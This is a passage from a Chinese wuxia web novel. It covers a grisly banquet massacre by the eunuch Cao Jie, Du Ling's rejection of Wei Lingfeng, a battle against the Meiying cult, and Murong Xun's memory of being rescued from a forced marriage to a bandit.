当下,刀剑相接,桌椅翻倒、酒菜散落,满厅狼藉!但不幸的是,那二十多名宾客拿的是短刀,而护院拿的是长剑,兵器劣势太大,武术上也比不过,没过多久便败下阵来,尽数被擒。 曹节奸笑起来:“凭你们这群三脚猫的功夫也想杀我!笑话!” 那些个宾客,长剑悬于颈前,随时有可能身首异处,但他们却无半分惧色,反怒骂道:“曹贼!你勾结外族,惨害忠良!你不得好死!” 曹节看了看那人:“我认得你,你是都尉秦贺的门徒吕阙,没错吧!” 那人骂道:“没错!我就是吕阙,你这奸贼!蒙蔽圣上,祸乱朝纲!你有何功配任长乐卫尉!封育阳侯!增邑三千户!我呸!你这窃国贼!阉人!阉人!我恨不得扒你皮!吃你肉!喝你血!” 曹节喃喃道:“不愧是秦贺的门徒,脾气真是一模一样!”接着,他指着那盘白菜肉丝对左右侍卫说道:“把这盘菜拿去给他吃下,吃干净些!” 两名侍卫拿着菜走了过去,一人负责将他的嘴张开,一人负责灌菜。 吕阙口中菜肉大部分吐出,只有少数被强灌咽下:“这种肉也就你们这群阉人爱吃了,又腥又臭,和你们的品性一模一样!” 听了这话,曹节竟不生气,反大笑起来:“说得好,说得好啊!吕阙,你可知,这肉是和肉!” 吕阙冷哼一声:“狗贼吃的当然是狗肉了!我看,还是那种专爱吃屎的狗肉!狗贼!狗贼!” 曹节一脸微笑,摇了摇头:“错!这是人肉,乃是秦贺的人肉!!!今天刚做的!新鲜得很!!!” 吕阙大惊,咬牙切齿,满脸愤恨与懊悔,猛的磕下头,竟当场撞死! 众宾客无不骇然,怪不得这道菜腥臭无比,谁能料到,这竟是人肉所做! 曹节大笑起来:“把他们都带下去,明天宴会继续,多加些蒜,说不定能抑住他的腥味!” 这时,两名侍卫将门口的守卫押了过来。 “足足有二十七个刺客啊!二十七个?说说吧,为何不搜他们身?” 那守卫吓破了胆,跪在地上,不敢吭声,只是一个劲儿的磕头。 曹节一脸微笑,慢慢走到那人面前,将他扶了起来:“没事儿,不必害怕。” 守卫站起身后,仍一个劲儿的弯腰赔罪,曹节拍拍那人肩膀,满脸和善笑容,却快速拔出腰间佩刀径直刺入守卫腹部,光刺进去还不算完,曹节竟握着刀在那守卫的腹部绞了一圈,那守卫哪受得了这般剧烈的绞痛,硬生生的疼死过去。 “张延,这守卫有家属吗?” 张延道:“好像有个老母亲,还有个不满八岁的小儿子,媳妇好像早病死了。” 曹节点点头,张延问道:“要杀掉吗?” 曹节奸笑道:“杀人的事我可不做,无故杀人未免太残忍了些!我可是育阳侯啊!交给你去好了!” 张延假笑着点点头,一旁的韦凌峰则低着头,喝着闷酒。 宴会散去,张延等人回到府邸,自知放跑了司寇晨,难逃死罪,迅速收拾好细软,星夜逃离。 第五十二章 是缘还是劫? 白菱神功再施,杜菱身体变得更加扁平些,向前滑行,下降的速度缓和了些,但仍然很快,这样落下去,虽不至于伤筋动骨,但擦破些皮还是在所难免的。 这时,韦凌峰不知从何处冒了出来,轻轻一跳,在半空中抱住杜菱,安全着陆。 “没受伤吧。”韦凌峰温柔的说道。 仔细看去,韦凌峰长得还有几分俊朗,就是行事亦正亦邪,不过现在来看,到还算正派。 杜菱挣脱了韦凌峰的公主抱,站起来:“没事儿,那金雕是你派去的吧。”杜菱丝毫不领情,反而算起账来。 “金雕?什么金雕啊?”韦凌峰一头雾水。 “我都到半山腰了,突然一只金雕窜出来攻击我,害得我只能放手掉下山崖。” “???关我什么事啊,我的鸟朋友只限麻雀、燕子这类小鸟,金雕我可使唤不了。”韦凌峰立马解释道。 “那可真是奇了怪了?以前我从没遇到过金雕主动攻击人的事啊,奇了个怪。”杜菱自语道。 “哎呀,没事儿的,下次,我派我的鹰朋友护送你好了。”韦凌峰刷起存在感来。 “哎,你刚才还说你的鸟朋友只限麻雀、燕子这类小鸟呢,怎么的,现在不打自招了?” “额——”场面一度十分尴尬。 “我刚救了你一命,你不准备说声谢谢吗?”韦凌峰岔开话题。 “切,刚才就算你不救,我也不会有事儿好吧,顶多擦破点儿皮。” 韦凌峰不乐意了,好心没好报啊。 突然,杜菱语气温和了些,十分真诚的说道:“不过,还是谢谢了,谢谢你能冒险前来救我,害你掉落山崖,抱歉了。” 听到这话,韦凌峰还有些受宠若惊呢,随口说道:“应该的应该的。” “什么应该的啊,我不是叫你回凉州吗?你还跟着我干嘛,难道你能未仆先知,知道他们会来埋伏我不成?”杜菱不解道。 韦凌峰笑了笑:“我不知道你会遇到危险,我只是想要跟着你,害怕你会像当年一样,突然出现,又突然消失……” “你这话是什么意思?” “你还不明白吗?”韦凌峰取出一张朱红面纱,正是杜菱当年跌落山崖时所戴的那张。 看着这面纱,杜菱突然流下泪来,显然她也认出了这面纱。 “这么多年来,这面纱,我一直留着,还有你的面容,这么多年来,我也一直记着,我想,大概我是喜欢上你了吧。”韦凌峰突然深情的说道。 “荒唐,咱两从无交集,瞎谈什么喜欢!”杜菱听了十分不悦。 “曾经,我一直以为,我喜欢的不过是你那绝世容颜罢了,但我行走江湖几十年,倾国倾城的容颜后来也见过不少,但再没有一人能像当年的你那般打动我,吸引我。我听人说,喜欢一个人是一瞬间的事,它和见多少面无关,或许那天阳光正好,微风拂面,而你又恰到好处的出现,让我无意中瞥见一面,只一面,便让我记念了十几年!” “够了,别说了。”杜菱摇摇头,转过身去,背对着韦凌峰。 韦凌峰仍不放弃,一把拉住杜菱,深情道:“嫁给我好吗,我会一定会好好待你的!” 杜菱想都没想,直接挣脱了:“韦凌峰,我们不可能的,当年青翼派大劫!你们赤影帮帮助阉党屠虐我们青翼派,你觉得我青翼派死去的故友会答应这事儿吗?他们会吗?!”杜菱怒吼道。 韦凌峰低头不语。 “你是个好人,谢谢你的喜欢,但我们,绝不可能!” “面纱还我”杜菱夺过面纱快速走开了。 韦凌峰看着杜菱离去的背影,摇了摇头,似在为告白失败而不甘,又似在为当年走错路而懊悔。 那条面纱杜菱在熟悉不过了,因为她经常戴着那面朱红面纱,江湖人才给她取名为朱姬。但杜菱在乎的并不是朱姬这个虚无缥缈的称号,而是因为这朱红面纱,是十八岁时,他送给她的第一件生日礼物。 “杜姑娘,杜姑娘”韦凌峰朝杜菱喊道。 一旁闭目养神的杜菱听了,神功急施,数息间,便闪到韦凌峰身后,长剑架在他脖子上,厉声说道:“虽然你救我有恩,但千万别觉得我们会因此成为朋友。”杜菱翻起脸来还真是比翻书还快,在得知韦凌峰喜欢自己后,杜菱觉得极其恶心,被一个恨了十几年的仇家喜欢,那该是怎样一种恶心!如果不是赤影帮掺和搅事,她早就和自己的心上人成双成对了,哪会落到今天这般天人两隔的地步。 “对不起,青菱师太。”韦凌峰也不傻,这么尴尬的情景,还是改口为妙。 杜菱放下了剑,冷冷的说道:“说吧,什么事?”现在她只想快些出谷,从此不再见到这韦凌峰。 韦凌峰指着不远处的河说道:“退潮了。” 杜菱看了看河的水位,比起之前,倒确实是降了不少。 当下,也不说话,径直向河边走去,韦凌峰也不多嘴,紧跟在杜菱身后。 顺着源头找去,看见此河是从一个山洞流出来的,山洞长短不知,但很深,趁河水降下去了,当快些通过才是,否则等河水涨起,再想过洞口,就只能潜水潜过去了,万一洞穴过长,那可就要闷死在河里了。 不能再耽误时间了,杜菱迅速跳下河,朝洞里游去,韦凌峰见状也赶忙跟上,两人水性还算不错,小半柱香的时间,便游到了洞穴外,与里面不同,洞穴之外是一块平原,空旷得很。 两人游上岸时,天已经快黑了。韦凌峰捡来些干木柴、打了两只野兔,升起了火,烤起野味来,杜菱也没闲着,她也捡了些柴火,抓了几条草鱼,也升起了火,吃起烤鱼。 当下,皓月当空,杜菱和韦凌峰各升起了一堆火,各坐一边,那晚,风很大,寒气也很重,杜菱穿得很单薄,又被河水打湿了,没有弄干,虽一直在火堆旁,但仍是寒冷无比,那天晚上,气氛很压抑,两人一句话也没说,韦凌峰不知从哪儿捡来块熊皮,睡得很香,杜菱则因为寒冷,难以入睡,不过总算是睡着了。 第二天,天刚亮,杜菱便醒来了,身上莫名其妙披着昨天韦凌峰弄来的那块熊皮,韦凌峰则穿着两件单薄的布衣,在不远处,瑟瑟发抖的侧卧在残余篝火旁。 杜菱见状笑了,老实讲,那一瞬间有过些许动心,但那个念头刚闪出来,便立马散去,有些事,光是感觉对可不行,它还得合乎情理。显然,接受韦凌峰,是一件极其荒谬,极其不合情理的事。 杜菱将熊皮披到了韦凌峰身上,又替他加了些篝火,独自离开了…… 第五十三章 恶战 豫蛇教山下,鬼俈正带人埋伏在上庵的山口处,搜了两三天了,还不见青菱师太踪迹,但他坚信,青菱师太绝不会软弱的自杀,所以他躲在了上庵口,有时,守株待兔也不失为一妙计,于此同时,豫蛇教的大半弟子正出庵寻找青菱师太。 终于,弟子们在入山口外不远处碰到了杜菱。 看到弟子们都没事儿,杜菱悬着的心也就放下了。 “这两天,豫蛇教没什么异常事发生吧。” “一切正常。”二弟子秦嫣柔说道。 “那就好,先回庵吧。”杜菱也没有多说什么,当下还是先回庵为妙。 刚到山口,便出事了。 数十枚飞镖飞出,反应快的立马挥剑挡下、或者闪身躲过,有两个反应慢的被飞镖射中,当场倒地。 “教主有令,不可硬碰硬啊。”三长老劝道。 哪知鬼俈丝毫不在意,极其狂妄的说道:“她们不过是一群女子罢了,就算人再多出十倍来,也不是我们的对手。” 旁边的两位堂主也纷纷拔出刀剑,露出战意:“是啊,三长老,咱们先把山下的这些教徒都清理干净了,再去把山上的也清理了。” 豫蛇教这边丝毫不惧,皆握紧长剑,摆开攻势。 “小心,他们并非善类,武功极高。”杜菱一边小心提醒,一边接过秦烟柔递来的长鞭,甩了两下试试手。 鬼俈邪魅一笑,扔出两枚飞镖,率先冲了上去,其余手下紧随其后,冲向杜菱。 杜菱挥鞭一扫,将那两枚飞镖打了回去。 鬼俈近身后停下,和杜菱对峙起来,其余弟子、派众则混战着。 “传闻,这白菱神功之所以被称为天下第一神功,靠得,可不只是它诡异的身法。” 杜菱冷冷一笑,满是杀气的说道:“怎么,你想见识见识是吗?” “当然,还请师太,不吝赐教!”鬼俈双掌一推,一波掌风猛烈击向杜菱,杜菱神功一施急闪躲过自是不在话下,但这样一来,身后的弟子就会有被击伤、甚至被击死的危险。 躲不掉?那就不躲好了!杜菱双指向前,内力聚于指尖,如矛一般向前刺去,掌波瞬间被击散,不止如此,那指力并未散去,如箭一般,直击鬼俈。 鬼俈大惊,再挥一掌才将那指力冲散。 “冰魄卸魂掌的威力也不过如此嘛。”杜菱轻蔑道。 见识到白菱神功的威力后,鬼俈冒了两滴冷汗,不再狂妄了。 “看来传言不虚啊,但也不是没得打!”鬼俈猛的上前,使出冰魄玄铁掌。杜菱再施指功,却被鬼俈用内力聚起的护罩挡下,当下速度不减,挥掌直取杜菱,杜菱只得向后退去,正遇到前来相助的三长老。三长老也是使鞭的,当下,两鞭相对,缠斗起来,长老的鞭法还是差点,杜菱巧妙一挥,即躲过长老的攻击,又将长鞭打到了长老身上。长老竟不躲闪,硬接下杜菱一鞭后,立马挥出一鞭击向杜菱,杜菱立马回鞭挡下,于是,两个鞭子搅在了一起。旁边白波堂主见机立刻提刀砍向杜菱,杜菱见状只好丢下鞭子向后退去。 当下,鬼俈、三长老、白波堂堂主三人如三角形一般,各站一角,将杜菱围在正中间。 这时,风云瞬变,突然下起暴雨来,雨水冲刷着众人。鬼俈看了看天,再看着杜菱,冷冷说道:“青菱师太,看来,是天要亡你们豫蛇教啊。” “冰魄阵!”眼下,三角阵内,雨水化作冰柱直击地面,而杜菱脚下的雨水也化成冰块包在她脚上,限制着她的行动。 “就是现在”鬼俈急喊道,三人齐出双掌,从三面击向杜菱,此时,杜菱被冰柱限制在中间,想用身法躲过攻击是绝不可能的呢,只能用功力相抵,将伤害尽量降到最低。 杜菱双手挥指,向鬼俈和长老击去,抵消掉两人的攻击,但同时,杜菱的后背也被那白波堂主击中,嘴角淡淡流出点儿血来。 “再来。”鬼俈三人再聚功法,欲进行下一波进攻。 “师傅。”见到青菱师太势危,徒弟们自然很焦急,都想上前帮忙,但魅影教的人在数量上本就占优势,当下又将青菱师太团团围住,完全冲不进去。 鬼俈等人故技重施,再施掌法,杜菱再一次三面受敌,之前那一掌已经伤得不轻了,再中一掌,后果不堪设想。 杜菱喃喃几句:“想不到这个小堂主掌波的威力如此大,看来,只能用那招了。” “有什么绝技尽管使出来吧!!!”一旁的鬼俈狂妄道。 “《白菱神功》第十重——弑魔蛇神!”当下,杜菱猛的向下一拍,一条擎天巨蟒从地下冒出,大地被击出一个大窟窿来,杜菱跳入窟窿里,正好躲过三面攻击,还没完,那条擎天巨蟒飞速冲向鬼俈,将其一口吞下,当然,这条巨蟒是灵力所化,并非真的巨蟒,当下,鬼俈被灵力包裹着,只觉全身八百多个穴位被同时点下,大有爆体而亡的危险,此时,就算无冥在世,被这一招击中,估计也是无力回天。 但凡事都有例外,不巧的是,鬼俈便是那个例外,当下鬼俈全身被灵力包裹着,他退到哪儿,灵力便跟到哪儿,想跑开那是必不可能的,鬼俈咬咬牙,狠下心来,功法一施,竟用冰魄之力将全身穴位封冻住!如此一来,这灵力的点穴术也就不攻自破了。 可以说,这弑魔蛇神,在场敌人,无论击中了谁,都将必死无疑,可千不该,万不该,它击中了鬼俈这个至寒体质的主。更难受的是,这第十重虽然威力巨大,但内力的消耗也十分巨大,当下,击出这一指法,足足浪费了杜菱四成多内力!不过还好,眼下鬼俈将自己封冻住了,短时间内,他是行动不了了。但与此同时,一旁的玄木堂主立马补上,重新组成三角阵,再次将杜菱围在中间,接着,三边掌力同时向杜菱击去。 人群中,一男子从敌军中突出个口子来,闪入三角阵中,来到白波堂主面前,替杜菱接下一掌——是韦凌峰,杜菱则挡下其他两人攻击。 再见韦凌峰,杜菱心情很复杂,眼下,豫蛇教四周无门无派,孤立无援,韦凌峰的相助真可以说是雪中送炭。 韦凌峰笑了笑,回头对杜菱说道:“对不起,你篝火烧得太旺了,我多睡了会儿,睡过头了。” 杜菱没有回话,只是微微一笑。 此刻,天空一声雷响,暴雨下得更大了,不过,没了鬼俈施法,冰柱渐渐消散。 当下,白波、玄木二堂的教众牵制着豫蛇教的弟子,两位堂主、三长老则与杜菱、韦凌峰缠斗着。 “用你的血滴子开路,我掩护你。”杜菱说道。 “好”韦凌峰话不多说,拿起血滴子便向白波堂主击去,那堂主拿的兵器是把刀,兵器上处于劣势不好防守,向后退闪了两步,算是撕开个口子来,但魅影教这边并没有要补救的意思,另外两人不帮白波堂主反而是同时向杜菱攻去。 韦凌峰刚要向前,冲出阵去,但见杜菱势危,赶忙回防,血滴子一挥向那长老击去,却不料被那长老用长鞭挡下,鞭子和血滴子的绳索搅在一起,玄木堂主双掌一挥,直取韦凌峰,但玄木堂主这一掌破绽百出,韦凌峰轻功卓越,躲下这一掌自是不在话下,巧妙的退到一旁,轻松躲下。 这时,杜菱大喊道:“小心。”但,为时已晚,只见后面白波堂主突然闪出,一刀过去,直接刺穿了韦凌峰! 第五十四章 神秘剑客 毫无疑问,韦凌峰大意了,没有闪。 杜菱见状,内心有一种说不出的难受感,双指注入大量内力,向前一指,白波堂主被指法击中,吐血倒地。 此时,冰魄阵已然失效,杜菱神功一施,拉起韦凌峰便突出重围,三长老挥鞭想要阻止,但杜菱丝毫没有退缩的意思,灵巧身法再施,轻松躲过,打伤数名魅影教众后,退到豫蛇教弟子们身旁。 此时,鬼俈的冰魄封穴之术已然退去:“白菱神功的威力,我算是见识到了,厉害厉害”鬼俈拍了拍手,衷心的佩服道,接着语气一转,恶狠狠的说道:“不过,那一招对我好像没什么效果,而且,用了那一招,估计你也没剩下多少内力了吧!你有灵巧的白菱神功躲下我们的进攻,可你的弟子们呢?她们应该不会白菱神功吧!等我杀光你的弟子后,我看你这青菱师太还有什么脸面苟活于世。” 此刻,韦凌峰虽伤得很重,昏迷了过去,但尚有一息在。 “放了我的徒弟们,我的命,你们若是想要,拿去便是!”杜菱面色不改,立于阵前 “师傅,不要啊。”一弟子喊道。 “师傅不要说这种话,我们是你的徒弟,誓死不向魔教妖党投降!” “宁死不降!”众弟子纷纷附和道。 杜菱听了,摇摇头,欣慰的笑了笑。 “好,好啊,豫蛇教还真是有骨气。”鬼俈鼓了鼓掌。 此时的三长老也是战意十足,恶狠的说道:“好,那就一起去死吧!” 话不多说,两派皆冲了上去,再要交战。 只听“嗖”的一声。 密林之中竟飞出一柄虚剑来,插在两方势力中间,两派势力都停了下来,紧接着又飞出六把虚剑来,七剑竖着,排成一条线,隔在两方势力中间。 鬼俈朝树林里喊道:“何人在此故弄玄虚?” 这时,树林里缓缓走出个人来,一身黑色长袍,戴着黑色面罩,只露出渗人双眸,右手拿着一把长剑。 那人一边走来,一边施展起剑法,长剑向前挥了几下,念起剑诀:“凌空剑法第八式——众生卸元!” 鬼俈大惊,这不是鬼岐的招式吗?怎么这个人也会,只见七柄虚剑飞聚到一起,形成一柄巨剑,在魅影教众上空旋转起来,周围的碎石落叶、散落的暗器、小刀等皆被吸了过去,绕着巨剑旋转着。 接着,巨剑一边旋转一边射出小剑攻击魅影教众。 鬼俈见状急下命令撤退,魅影教众听后慌不择路,溃败逃散。 “追”秦嫣柔喊道。豫蛇教弟子正要追赶,青菱师太拦了下来,眼下这个神秘人身份未知,不可鲁莽行事,但杜菱莫名感觉,眼前这个黑衣神秘人她非常熟悉,仿佛很早以前就认识一样。 看到魅影教败逃,黑衣男子并没有追赶,他往四周张望了下,但当他看到杜菱这边时,顿了几秒,此时杜菱也同样注视着他,两人都戴着面纱,谁也看不清谁。 没待多久,那黑衣男子收起剑,退回密林。杜菱看着神秘人离去的背影,看了许久,最终摇了摇头,让弟子扶上昏迷的韦凌峰退回豫蛇教。 境外,乌桓国,魅影教中: 鬼岐大步走入殿上:“教主,如今太平道张角虽死,但中原各派也是元气大伤,正是大举入侵的好时机啊。” 殿堂之上,魅影教主骷魅正坐主位,一身黑袍,满是杀气,该是个久涉江湖的老手,但细看两眼,也不过是个三十来岁的青年罢了。 骷魅摇了摇头,低声说道:“还不是时候。” 一旁的大长老钦铉:“左护法不要急,教主如今正在参悟《万幻影诀》第九重,已有成效,大成之日再取中原,岂不易哉。”。 二长老藏榆:“眼下,右护法与岷湮还有玄木、白波二堂堂主瓦解中原各派,左护法若是闲不住,不如去帮帮他好了。”(岷湮者,魅影教三长老) “中原各派经幽州一战,空前团结,是该瓦解瓦解才好。”骷魅顿了顿,接着说道:“我看,左护法和二长老一起前去好了,再差涧水、冥火、岩雀三堂相助。你们与右护法分别行事,如遇危难也可互相救援。记住,保存实力要紧,切不可与中原各派硬碰硬!” “是”鬼岐、藏榆还有三位堂主领命退下。 待几人走后,骷魅道:“大长老留下,剩下的,都退下吧。” 钦铉跟着骷魅来到一个密室。 密室之内还有个密室,骷魅走入内室,对钦铉吩咐道:“你在外面护法,切不可让人进来。” “教主,这才休息两个时辰,不用这么着急,再多休息会儿吧。”钦铉担忧骷魅身体,不禁劝慰道。 骷魅摇摇头:“大战在即,我身为一教之主,怎可懈怠。” 钦铉感叹道:“若是紫阎王在世,一定会很欣慰的。”(紫阎王乃是前代教主,骷魅的父亲。) “他当然会很欣慰。”骷魅冷讽一句走进密室,关上了门。 黄骷岛: 昭相雪在打坐静养,慕容洵在药房煎药,于婉靠在江边,望着江浪发呆,不知何时,慕容钧走到身边两三米外,安静坐下。 “前辈,我有些问题想问你。” 慕容钧取出一个破酒葫芦,一边喝酒一边答道:“你想问我,为什么知道你的姓名?” 酒葫芦缝缝补补,正面刻了个“慕”字。 于婉:“不止如此,我还想知道,为何我该叫你叔父?你和我父亲到底是什么关系?” 慕容钧:“你叫我叔父,那你说,你父亲和我该是什么关系?” 于婉:“亲兄弟?不应该啊,我父亲姓司寇,你姓慕容,不合常理啊。” 慕容钧摇摇头:“或许,是我说错了吧。” “那你和我父亲到底是什么关系?” 慕容钧大笑起来:“不出意外,咱们以后,应该没机会再见了,既如此,亲缘辈分,算那么清楚干嘛。” 两人自顾自的望着江浪,不在说话。 许久,慕容钧喝完小酒,站起身来:“婉姑娘,我得提醒你,你现在的血液里含有山万蛇毒,此乃剧毒,无药可解,常人若是染上,不出百步,必将七窍流血而亡。” “山万蛇毒?我的血液一向百毒不侵,为何会染上此毒?” “毒绝天下,无人能挡,不好吗?” “不好,一点也不好!我什么时候能恢复正常?” “不出意外,你这辈子都将如此。”慕容钧转身离开,走了三五,又退了回来,扔给于婉一本书。 “这本书送你了,以后,你或许用得上,切记,除了你,别让任何人看到这本书,也别让任何人知道你体内的剧毒。” 于婉接下那书,书上写着:《碧岐内经》,此书由两部分组成,前面的字迹十分工整,后面的字迹十分潦草,应该是增添的。 “前辈,这是何书?” “助你平复经脉,快速愈合伤口的医书罢了。” 第五十五章 少年的他 慕容钧走后,于婉将那本书翻了翻,上面确实记载了很多药材,似乎,确实只是本医书,也就收下。 不久后,慕容洵走来。 “药熬好了,我已经给他送去了。” “洵姐,谢谢你,我能求你件事儿吗?” “咱们两还有什么求不求的,尽管说。” “你教教我怎么煎药呗,我想亲自给昭大哥煎药。” “这有何难,下次你来,我在旁边手把手指导你就是。” “谢谢洵姐。” 慕容洵笑了笑,坐到于婉身旁:“说起来,你对那臭小子还挺上心的嘛,快说,是不是看上他了。” “哪有啊,咱们只是普通朋友罢了。” “普通朋友?不是吧,我怎么觉得你看昭少侠的眼神不大对啊,昭少侠看你的眼神也不对,说不定,他也喜欢你呢!” “真的吗?他也喜欢我!” 慕容洵大笑道:“你看,稍微一诈,你就绷不住了,快说,从什么时候开始的?” “洵姐,你诈我!亏我这么信任你。” “哎呀,咱们两姐妹有什么好遮掩的,快给我说说,你们两到底好上没?” 于婉摇了摇头。 “你没跟他说你喜欢他?我替你说去。”慕容洵一边说着一边站起身来,但很快被于婉拉下来。 “别去,我可不想朋友都没得做。” “哪有这么严重,我妹妹长得这么乖巧水灵,他昭相雪还吃亏了不成,等我好消息。” “别啊洵姐,你不了解他,他从没想过这些儿女情长,况且,我现在也不想谈这些!我还有些事必须得弄清楚。” “没影响的好吧,不冲突。” “有影响!关于我父母的死,我必须得弄清楚,男欢女爱这些俗事,随缘吧。” 慕容洵摇摇头:“等你到了我这个年纪,你就会明白,哪有什么随缘,缘分从来都是靠自己争取来的!” 两人靠着枫树,面朝江海,静坐许久。 江上大风猛烈吹起,将旁边枫树林中的许多枫叶吹得漫天飞舞。 看着漫天飞舞的枫叶,于婉笑道:“尽情飞舞吧,来年开春时,又是一派新气象!” 慕容洵苦笑着摇摇头。 于婉突然想起什么,问道:“洵姐,上次你问我有没有什么办法能将它们固定在树上,不让它们落下,这是为何啊?” 慕容洵看着于婉,轻轻摸了摸她的发丝:“我给你讲讲我的一段往事吧。” “往事?好啊。” 十六年前的江东,盗匪横行,比现在猖獗十倍不止,那时,她只有十五岁,对刀枪剑术只是略懂,然而,因为黄骷岛位于江河中心,虽有大雾笼罩,但几乎每隔半个月,都会有海寇误打误撞,闯入黄骷岛,这些海寇比毒虫猛兽还凶狠,见人就杀,毫不留情。不过,他们大都是泛泛之辈,并不是慕容钧的对手,基本上,每个擅自闯入黄骷岛的海寇,都会死于慕容钧毒攻之下。 直到有一天,一伙自称蛟蛇派的悍匪来到了黄骷岛。他们看见了慕容钧后,二话不说,直接朝他射箭,那日,迷雾比以往任何时刻都要清薄,慕容钧虽尽力躲闪,但敌不过悍匪射的箭数量多,一个不小心,右腿挂了彩,接着,后背又被射中一箭,没过多久,箭上涂的麻药便发作了,慕容钧慢慢失去了知觉。 再醒来时,慕容钧被五花大绑着坐在高堂之上。满院尽是大红喜字,堂下,正跪着两个人,一个是新郎官,白天朝他射箭的那个匪首,而另一个则是新娘,年仅十五岁的慕容洵! 慕容洵虽只有十五岁,但与同龄人不同,此时的她早已是亭亭玉立,雪色肌肤,且五官精致,有着倾国之资! 丧尽天良的匪首欲强行纳其为妾,只有十五岁的慕容洵哪儿有能力反抗,只能任凭安排,而此刻,被五花大绑的慕容钧想反抗也是无能为力。 “一拜天地!”一个海寇充当的证婚人,对堂下的“新人”喊道。 匪首跪下磕了个头,慕容洵则被人强行按着跪下磕了头。 “二拜高堂!” 年纪轻轻的慕容洵吓坏了,一个劲儿的哭,同时,仍然被旁边的海寇强行按下,又磕了个头。 见了此景,慕容钧差点当场去世,要不是海寇往他嘴里塞了团破布,慕容钧都想直接咬舌自尽了,当下气上心头,无处发泄,直接气晕过去。 “夫妻对拜!” 很快,“表面流程”便结束了。 匪首早起色心,当着众人面,直接掀开了慕容洵的红盖头,欲要强吻她。 慕容洵一把推开身边的海寇,撒腿便跑,但大堂之上,满院的嘉宾都是蛟蛇派海寇,慕容洵如何能跑得掉呢?很快便又被抓住。 匪首大笑,走到主位坐下,拍拍旁边的空位子,示意手下将慕容洵带到这空位上。 手下架着慕容洵,让她坐到了空位上。 匪首一把抓住她胳膊,拉到自己身边,再要强吻她。 慕容洵立马用手格挡,大喊道:“你个畜生,放开我!” 凶狠的匪首自然不会就此罢休,拉开慕容洵的手,便挥出两巴掌往慕容洵脸上扇去,力气太大,慕容洵的脸直接被扇得通红。整个人都被扇懵了,嚎啕大哭着,不再反抗。 悍匪淫荡一笑,便要亲上去…… 只听嗖的一声,一支翔云箭直指匪首的头部,那匪首立马推开慕容洵,急闪躲过。 “谁?!”匪首朝外面大喊道。 场上海寇们也都停下酒肉,纷纷拿起武器警戒起来。 这时,只见门口缓缓走进一个十八岁少年来,那少年温文尔雅,气宇轩昂,穿着一身纯白长袍,腰带镶玉,看起来,是个翩翩公子哥。 然而,那少年面像虽温文尔雅,说起话来却十分凶狠:“放了那位姑娘,我可饶尔等不死。” 当下,慕容洵和那少年四目相对着,刚才还在放狠话的少年,见慕容洵在看自己,立马变了脸色,微微一笑,看了这少年的笑容,慕容洵的心情竟平静许多,不再哭泣,只是呆呆的看着那少年。 “找死!给我砍了他!”匪首大怒,指着那白衣少年对手下喊道。 各海寇们都拿起武器,一涌而上向那少年砍去。 哪儿料到,少年竟化作一团青烟,消失在原地,只一息,便凭空出现在慕容洵身边,接着拿起慕容洵的手,捂住她的眼睛,小声说道:“把眼睛蒙起来,我没叫你放下,就别放。” 不知为何,慕容洵竟很信任这位白衣少年,立马用双手捂住了眼睛。 接着,少年再次化作一团青烟,经过十几个海寇身边,如风一般,跟风不同的是,风经过是凉爽,但青烟经过,皆是死寂!那十几个海寇还没来得及反抗,便被割开咽喉,直接毙命。 见了此景,剩下的海寇哪儿还敢反抗,匪首更是带头丢下兵器,跪地求饶,余下海寇也都跟着跪地磕头求饶。 “抬上他们的尸体,滚!”白衣少年狠狠的说道。 匪徒们拖着同伴的尸体便争先恐后的往外跑,丢盔弃甲者不在少数。 海寇们走后,白衣少年轻轻拉下慕容洵的手,见她脸上有许多泪痕,少年取出手帕小心翼翼将慕容洵残留的眼泪擦净,温柔说道:“没事儿了,有我在。” 缘分已到,接下来便是“俗套”的爱情故事,少年与女孩儿很快坠入爱河,但,好景不长…… 第五十六章 谦逊温雅 黄骷岛,一个极其荒凉、危险的岛屿,四周满是毒蛇猛兽、悬崖峭壁。只因少女生活在这此,所以,少年觉得,这里是天底下最美、最舒适的地方。 两人朝夕相处,幸福生活了两个月,直到一只信鸽闯入岛屿,给少年送来一封家书,少年的父亲离世了,他必须回去奔丧。 “你会回来娶我的对吗?”临行那天,少女问道。 少年一脸真诚:“当然,等我,我会带着八抬大轿前来娶你。”语气真诚,神情专注,看得出来,他没撒谎。 “要是你一直不回来,我可怎么办啊!你得给我个期限!”少女仍不放心,忧虑道。 少年看着一旁碧绿的枫树林,抱紧少女说道:“你放心,最后一片枫叶落下之前,我一定回来!” …… 一转眼,十六年过去,枫叶春生秋落,秋落春生,当年那个稚嫩的窈窕少女,如今已是三十有一岁了,而那位翩翩少年如今也已三十有四,当年的誓言还回绕在耳边,但曾经真挚浪漫的爱情却早已消散…… 秋风萧瑟弑人魄,霜叶凄凌终飘落。江浪滔滔十六载,昔人痴痴终不还。 看着翩翩起舞的枫叶,慕容洵痴痴说道:“枫叶长起又落,落下又长,已过十六载了,你说,他还记得我吗?” 于婉摇摇头,小声答道:“我不知道。” 慕容洵一脸平静,笑了笑:“他不会骗我的,一定是有事儿耽搁了,他一定会回来的。” 于婉心疼的看着慕容洵,也不多话,上前紧紧抱着她,慕容洵也紧紧拥抱着于婉。 “天快黑了,外面风大,我们进去吧。”于婉微笑着说道。 “等下。”慕容洵站起身来,走向旁边枫树林,挑了挑,从树上的摘下一片美丽的枫叶,小心翼翼的放在手中,转身对于婉说道:“好了,我们走吧。” 于婉问道:“你要收集枫叶是吗?” 慕容洵笑了笑没有回答,于婉环顾着四周,从地上拾起一片更加美丽的枫叶递给慕容洵:“洵姐,这片也挺好看的。” 很明显,于婉给的那片比慕容洵手中那片,美丽十倍百倍不止,但慕容洵却摇了摇头,小声说道:“这片枫叶已经落地了,再美丽,也没了意义。” 于婉愣住了,瞬间明白慕容洵的意思,只要有一片枫叶被她小心珍藏着,枫叶就永远不算全部落下,而那少年的誓言,便永远有效。 或许,那少年真有事儿耽搁了,但什么事能耽搁十六年呢?! 次日清晨,于婉还在懒睡,突然听见外面传来兵器相撞的声音。似乎有人在外面打斗,于婉穿好衣服,立马跑了出去,正好碰见同样刚起的昭相雪。 “昭大哥,外面出什么事儿了?” “不知道啊,我也刚起来,听声音,像是有人在打架,不会是那群江匪闯进来了吧!” 两人急忙跑出院来,定睛一看,院外打架的竟是枯恂和慕容洵两人。 “洵姐、二师兄,快住手,别打了!” “洵姐?”“二师兄?”当下,二人都停了手,各退几步,一脸懵逼。 慕容洵将剑收回,训斥道:“臭小子,你既然认识我婉妹?怎么不早说啊?” “你骂谁臭小子呢?母夜叉,我早说过了我是来找人的,你偏说我是江匪,上来就打,完全不给解释的机会,你看清楚了,有这么帅的江匪吗?” 